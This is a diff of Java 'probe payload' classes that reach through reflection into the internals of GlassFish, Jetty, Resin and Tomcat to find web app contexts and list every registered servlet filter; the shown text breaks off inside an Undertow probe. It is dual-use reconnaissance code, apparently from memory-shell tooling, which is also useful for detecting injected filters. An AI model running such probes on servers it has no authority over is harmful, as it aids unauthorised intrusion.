@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,224 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class GlassFishFilterProbe {
@Override
public String toString() {
StringBuilder msg = new StringBuilder();
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings({"unchecked", "Duplicates"})
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> org.apache.catalina.core.StandardContext
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
List<Object> filterMaps = (List<Object>) invokeMethod(context, "findFilterMaps");
for (Object fm : filterMaps) {
// fm -> org.apache.catalina.deploy.FilterMap
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
// filterDef -> org.apache.catalina.deploy.FilterDef
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
String filterClass = (String) invokeMethod(filterDef, "getFilterClassName");
if (filterClass == null) {
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = invokeMethod(filterConfig, "getFilter");
if (filter != null) filterClass = filter.getClass().getName();
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] urls = null;
try {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
// Tomcat 5
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
if (urlPattern != null) urls = new String[]{urlPattern};
}
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
String[] servletNames = null;
try {
servletNames = (String[]) invokeMethod(fm, "getServletNames");
} catch (Exception e) {
// Tomcat 5
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null) servletNames = new String[]{servletName};
}
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("Duplicates")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar
*/
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,253 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class JettyFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
/**
* jetty6 -> org.mortbay.jetty.webapp.WebAppContext
* jetty7+ -> org.eclipse.jetty.webapp.WebAppContext
* org.eclipse.jetty.ee8.webapp.WebAppContext
* org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext
* org.eclipse.jetty.ee11.webapp.WebAppContext
*/
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// servletHandler -> org.mortbay.jetty.servlet.ServletHandler(jetty 6)
// servletHandler -> org.eclipse.jetty.servlet.ServletHandler(jetty 7+)
Object servletHandler = getFieldValue(context, "_servletHandler");
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
for (Object mapping : filterMappings) {
// mapping -> org.mortbay.jetty.servlet.FilterMapping(jetty 6)
// mapping -> org.eclipse.jetty.servlet.FilterMapping(jetty 7+)
String name = (String) invokeMethod(mapping, "getFilterName");
if (!aggregatedData.containsKey(name)) {
String filterClass = "N/A";
if (filterHolders != null) {
for (Object holder : filterHolders) {
// hodler -> org.mortbay.jetty.servlet.FilterHolder(jetty 6)
// hodler -> org.eclipse.jetty.servlet.FilterHolder(jetty 7+)
String holderName = (String) invokeMethod(holder, "getName");
if (!name.equals(holderName)) continue;
String cls = (String) invokeMethod(holder, "getClassName");
if (cls == null) {
Object filterInstance = invokeMethod(holder, "getFilter");
if (filterInstance != null) {
cls = filterInstance.getClass().getName();
}
}
if (cls != null) filterClass = cls;
break;
}
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
if (pathSpecs != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
String[] servletNames = (String[]) invokeMethod(mapping, "getServletNames");
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
}
} catch (Exception ignored) {
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
Class<?>[] paramClazz = null;
Object[] param = null;
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,234 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class ResinFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.caucho.server.webapp.Application
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// filterMapper -> com.caucho.server.dispatch.FilterMapper
Object filterMapper = getFieldValue(context, "_filterMapper");
// filterManager -> com.caucho.server.dispatch.FilterManager
Object filterManager = getFieldValue(context, "_filterManager");
if (filterMapper == null) return Collections.emptyList();
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
for (Object filterMapping : filterMappings) {
// filterMapping -> com.caucho.server.dispatch.FilterMapping
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
if (!aggregatedData.containsKey(filterName)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
if (filterClassName == null) {
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
if (filterClass != null) {
filterClassName = filterClass.getName();
} else {
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
if (filter != null) {
filterClassName = filter.getClass().getName();
}
}
}
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
Map<String, Object> info = aggregatedData.get(filterName);
List<String> urlPatterns = new ArrayList<>();
String urlPattern = (String) invokeMethod(filterMapping, "getURLPattern", null, null);
if (urlPattern == null || urlPattern.isEmpty()) {
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
if (matchList != null && !matchList.isEmpty()) {
for (Object match : matchList) {
if (((Integer) getFieldValue(match, "_value")) == 1) {
urlPatterns.add(getFieldValue(match, "_regex").toString());
}
}
}
} else {
urlPatterns.add(urlPattern);
}
if (!urlPatterns.isEmpty()) {
((Set<String>) info.get("urlPatterns")).addAll(urlPatterns);
}
List<String> servletNames = (List<String>) getFieldValue(filterMapping, "_servletNames");
if (servletNames != null && !servletNames.isEmpty()) {
((Set<String>) info.get("servletNames")).addAll(servletNames);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Class<?> servletInvocationClass = null;
try {
servletInvocationClass = thread.getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation");
} catch (Exception e) {
continue;
}
if (servletInvocationClass != null) {
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
contexts.add(webApp);
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,250 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class TomcatFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> org.apache.catalina.core.StandardContext
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps");
if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
for (Object fm : filterMaps) {
// fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
// filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
String filterClass = (String) invokeMethod(filterDef, "getFilterClass");
if (filterClass == null) {
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = invokeMethod(filterConfig, "getFilter");
if (filter != null) filterClass = filter.getClass().getName();
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] urls = null;
try {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
// Tomcat 5 org.apache.catalina.deploy.FilterMap
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
if (urlPattern != null) {
urls = new String[]{urlPattern};
}
}
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
String[] servletNames = null;
try {
servletNames = (String[]) invokeMethod(fm, "getServletNames");
} catch (Exception e) {
// Tomcat 5 org.apache.catalina.deploy.FilterMap
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null) {
servletNames = new String[]{servletName};
}
}
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,212 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class UndertowFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
